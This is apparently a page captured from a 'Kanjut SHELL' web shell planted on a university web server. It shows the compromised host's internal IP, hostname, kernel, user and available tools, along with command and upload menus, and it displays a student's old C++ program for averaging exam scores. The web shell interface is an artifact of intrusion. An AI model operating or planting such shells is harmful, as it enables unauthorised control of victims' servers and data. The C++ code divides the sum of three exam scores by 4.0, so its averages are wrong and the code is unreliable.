Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 13.58.203.255
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bafreeman/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/assign2.cpp
//      File name:      assign2.cpp
//      Author:         Benjamin Freeman
//      Instructor:     Dr. John Wang
//      Due date:       Wed., Feb. 13, 2008
//      Compilation:    g++ assign2.cpp -o assign2.out
//      Execution:      ./assign2.out
//
//      Goal: This program will allow the user to input students' 
//      information (name, age, test1, test2, and final), and output each 
//      student's average, class average, and the average age of students
        

#include <iostream>
#include <iomanip>

using namespace std;

struct Student
{	string name;
	int test1, test2, final;
	int age;
	float avg;
};

int main()
{
	
	Student someone;
	char dummy;
	float class_total = 0;
	int class_size = 0;
	float class_avg;
	int age_size = 0;
	float age_avg;
	float age_total = 0;
	cout << fixed << showpoint << setprecision(1);
	
	cout << "Input the name(Press Ctrl-d to quit): ";
	getline(cin, someone.name);

	while(cin)
	{
		cout << "Three exams: ";
		cin >> someone.test1 >> someone.test2 >> someone.final;
		cout << "The age: ";
		cin >> someone.age;	
		cin.get(dummy);	

		
		class_size ++;
		someone.avg = (someone.test1+someone.test2
			+someone.final)/4.0;	
		class_total += someone.avg;
			
		age_size ++;
		age_total += someone.age;
		
		cout << "\n";
		cout << "Name: " << someone.name << endl;
		cout << "Test 1: " << someone.test1 << endl;	
		cout << "Test 2: " << someone.test2 << endl;	
		cout << "Final: " << someone.final << endl;	
		cout << "Age: " << someone.age << endl;
		cout << "Average: " << someone.avg << endl;
		cout << "\n";		

		cout << "Input the name(Press Ctrl-d to quit): ";
        	getline(cin, someone.name);
	}

	class_avg = class_total / float(class_size);
	age_avg = age_total / float(age_size);
	cout << "\n--------------------------\n";
	cout << "\nClass average: " << class_avg << endl; 
	cout << "Age average: " << age_avg << endl;
	cout << "\nDone.\n";
	return 0;
}

Stv3n404 - 2023